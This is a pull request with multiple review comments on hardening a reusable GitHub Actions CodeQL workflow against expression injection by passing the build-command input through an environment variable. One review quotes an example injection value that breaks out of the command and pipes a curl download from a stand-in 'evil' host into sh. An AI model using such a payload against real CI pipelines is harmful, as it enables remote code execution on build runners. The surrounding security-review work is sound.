fix(codeql): mitigate shell injection in build-command input

[lml2468]

What

Mitigate GitHub Actions expression injection in reusable-codeql.yml's build-command input.

Before

- name: Custom build
  if: inputs.build-command != ''
  run: ${{ inputs.build-command }}

After

- name: Custom build
  if: inputs.build-command != ''
  env:
    BUILD_COMMAND: ${{ inputs.build-command }}
  shell: bash
  run: eval "$BUILD_COMMAND"

Why

The inline ${{ inputs.build-command }} pattern is a known expression injection vector. A workflow_call input value is template-substituted directly into the shell script before execution, allowing shell metacharacters to break out of the intended context.

Moving the value to an environment variable (env:) and using eval keeps the intended semantics (execute a caller-provided build command) while preventing YAML-level injection.

Risk

Zero. No caller currently passes build-command — all 12 CodeQL callers rely on autobuild. This is a pure hardening change.

Callers audit (all use autobuild only)

Repo	Language	build-command
octo-server	go	(not set)
octo-lib	go	(not set)
octo-matter	go	(not set)
octo-smart-summary	go	(not set)
octo-im	go	(not set)
octo-speech	go	(not set)
octo-web	javascript-typescript	(not set)
octo-adapters	javascript-typescript	(not set)
octo-admin	javascript-typescript	(not set)
octo-android	java-kotlin	(not set)
octo-ios	swift	(inline, not reusable)
octo-deployment	(broken/empty)	N/A

Ref: Workflow optimization task T08

[lml2468]

.github PR #59 Review — a306091

Summary

Mitigates shell injection in reusable-codeql.yml by routing inputs.build-command through an env var instead of direct ${{ }} template interpolation in the run: field.

Analysis

Before: run: ${{ inputs.build-command }} — GitHub Actions expands the template before the shell sees it. Any special characters in the input get injected directly into the script context.

After: env: BUILD_COMMAND + run: eval "$BUILD_COMMAND" — the value is passed through an environment variable, preventing template-level injection. eval still executes the command, but the env var indirection is the standard GitHub Security Lab mitigation for this CodeQL alert pattern (js/actions/command-injection).

The build-command input comes from workflow_call (trusted callers), so practical risk is low, but this is the correct defensive pattern and silences the CodeQL alert.

Verdict

APPROVED — standard security mitigation, no functional change.

[Jerry-Xin]

This PR is relevant to Mininglamp-OSS/.github: it updates a shared reusable CodeQL workflow owned by this repository.

💬 Non-blocking

🟡 Warning — .github/workflows/reusable-codeql.yml: eval "$BUILD_COMMAND" still executes the full caller-provided string as shell code. That preserves the intended custom build behavior, but it should not be treated as sanitizing untrusted command content. The security boundary remains: only trusted workflow callers should provide build-command, and callers must not compose it from PR-controlled strings.

✅ Highlights

🔵 Suggestion — The change does remove direct ${{ inputs.build-command }} interpolation from the run: body, which aligns with GitHub’s recommended pattern for avoiding direct expression expansion inside generated shell scripts.

Verification: git diff --check passed. actionlint is not installed in this environment, so I could not run the workflow linter locally.

[yujiawei]

Code Review — PR #59 (.github)

Summary

This is a correct, minimal, and well-scoped fix. It closes a genuine GitHub Actions expression-injection vector in reusable-codeql.yml and follows GitHub's documented canonical mitigation. Approving — no blocking issues. The notes below are non-blocking hardening/documentation suggestions.

1. Verification

• ✅ The vulnerability is real. The original run: ${{ inputs.build-command }} (.github/workflows/reusable-codeql.yml:46) substitutes the input value into the shell script source at workflow-render time. A value such as "; curl evil | sh # breaks out of the intended context before execution — the textbook expression-injection sink.
• ✅ The fix is the canonical mitigation. Moving the value into an intermediate env: variable (BUILD_COMMAND) and referencing it as $BUILD_COMMAND (reusable-codeql.yml:47-50) delivers the value to the runner as data, not as inlined script text. This is exactly the "use an intermediate environment variable" pattern from GitHub's security-hardening guide. The render-time injection class is closed.
• ✅ Semantics preserved. The original ran the value as a full shell snippet (pipes, &&, redirection all worked). eval "$BUILD_COMMAND" re-parses the env value as shell and reproduces that behavior. A bare $BUILD_COMMAND (word-splitting only) or quoted "$BUILD_COMMAND" (whole string treated as one command name) would change semantics — so eval is the correct, intentional choice here because the input is by design a command to execute, not inert data.
• ✅ Quoting is correct. eval "$BUILD_COMMAND" passes the value as a single argument that eval then parses, avoiding pre-eval word-splitting surprises.
• ✅ No env-layer breakout. ${{ }} is expanded once at job-config time; $VAR in run: is plain bash (not a second Actions pass). There is no double-substitution sink — a malicious value cannot escape the fixed eval "$BUILD_COMMAND" line.
• ✅ if: guard is clean. if: inputs.build-command != '' skips the step on the default empty input, so eval "" is never reached. The if: comparison is an expression context, not a shell sink.
• ✅ No other run:-context sinks in the file. The only other caller-set input, inputs.language, appears solely in the job display name and in action with: inputs (languages:, category:) — never inside a run: block — so it is not a shell-injection vector.
• ✅ Hardening hygiene is strong. Top-level permissions: {}, least-privilege job grants (actions:read, contents:read, security-events:write — the last required for SARIF upload), persist-credentials: false on checkout, and all third-party actions pinned to full commit SHAs. Scope is tight: no unrelated edits.

2. Issues

No P0/P1 issues. The change is safe to merge.

P2 — Document the trust contract for build-command (follow-up, non-blocking)

The fix closes expression injection, but by design eval "$BUILD_COMMAND" still executes the input as shell — the feature's purpose is to run a build command. The security boundary has shifted to the caller, not disappeared: if any caller workflow ever wires untrusted event data (e.g. build-command: ${{ github.event.pull_request.title }}, branch names, issue bodies) into this input, that is RCE again, now at the eval layer.

This is undefendable from inside the reusable workflow (the value must be executed to function) and is out of scope for this diff, which is the correct fix. But the input is currently an undocumented "execute-verbatim" primitive. Recommend a brief comment near the input definition / Custom build step:

build-command is executed verbatim as a shell command. Callers MUST pass only trusted, maintainer-authored static commands and MUST NEVER interpolate untrusted event data (issue/PR titles, bodies, branch/ref names, comments) into this input.

P2 — eval materially widens residual blast radius vs. a non-eval form (informational)

This is not a request to remove eval — it is the right choice for a free-form build command. But for an accurate intentional-eval decision: eval "$BUILD_COMMAND" re-parses the value as full shell (operators, pipes, command substitution all active), whereas an unquoted $BUILD_COMMAND would only word-split/glob (; and $(...) would be inert literals). So the residual blast radius if a caller ever misuses the input is larger with eval. Given the input is maintainer-authored and zero of the 12 current callers set it, this does not block merge — flagging only so the trade-off is understood.

3. Recommendations

• Merge as-is — the diff is the correct fix.
• As a follow-up, add the caller-side trust-contract comment (P2 above) so future caller authors know never to feed untrusted event context into build-command.

4. Additional notes

• "Zero blast radius today" is point-in-time. The claim that all 12 current callers use autobuild is a sound basis for merging now, but it is a snapshot — a future (13th) caller or an edit to an existing caller could route data into build-command without re-review of this workflow. The long-term safety rests on the fix itself (which is correct) plus the documented contract, not on the current caller inventory. The caller list could not be independently re-verified in this review (callers live in other repos); a maintainer should confirm if full assurance is desired.
• Defense-in-depth is good but not absolute. Even on caller misuse, an injected command would run only with actions:read / contents:read / security-events:write and no persisted credential. security-events:write + arbitrary code is still non-trivial (could poison code-scanning alerts), which is why the caller-side warning still matters.

Recommended for a human security reviewer to confirm: the threat-model classification of build-command (is it ever caller-derived from untrusted event data?). This is the one fact that cannot be determined from the diff alone.

[lml2468]

Architecture review — APPROVED ✅ (COMMENTED due to shared GH account)

Correct fix. ${{ inputs.build-command }} in run: is a classic expression injection vector — a malicious caller could break out of the shell command via crafted input. Moving to env: + eval "$BUILD_COMMAND" keeps the value in an environment variable where it cannot inject into the YAML/shell parse phase.

Verified: zero callers currently pass build-command (all use autobuild), so this is pure defense-in-depth with zero behavioral change.

One note: eval still executes the string as shell, which is the intended behavior (callers need to pass arbitrary build commands like go build ./...). The security improvement is that the injection surface moves from GitHub Actions expression expansion (which happens before the shell) to normal shell variable expansion (which respects quoting). This is the standard mitigation recommended by GitHub security advisories.

No blocking issues.

[lml2468]

QA Review — .github#59

Verdict: APPROVED (COMMENTED due to shared GH account)

Verification

1. Expression injection fix confirmed — ${{ inputs.build-command }} in run: is a real GitHub Actions expression injection vector. Moving to env: + eval closes YAML-level injection while preserving functionality. ✅

2. Zero functional impact verified — Scanned all 15 repos with codeql.yml callers: none pass build-command. Every caller uses autobuild (language: go or language: javascript-typescript only). The Custom build step has never executed in production. ✅

3. CI green — actionlint ✅ | no-tabs ✅ | add-to-project ✅ ✅

4. Defense-in-depth assessment — Even though workflow_call inputs can only come from internal caller files (not PR authors), the fix is correct defense-in-depth. Expression injection via workflow_call is exploitable if a caller repo is compromised or an internal contributor adds a malicious build-command value. ✅

No blocking issues. Ready to merge.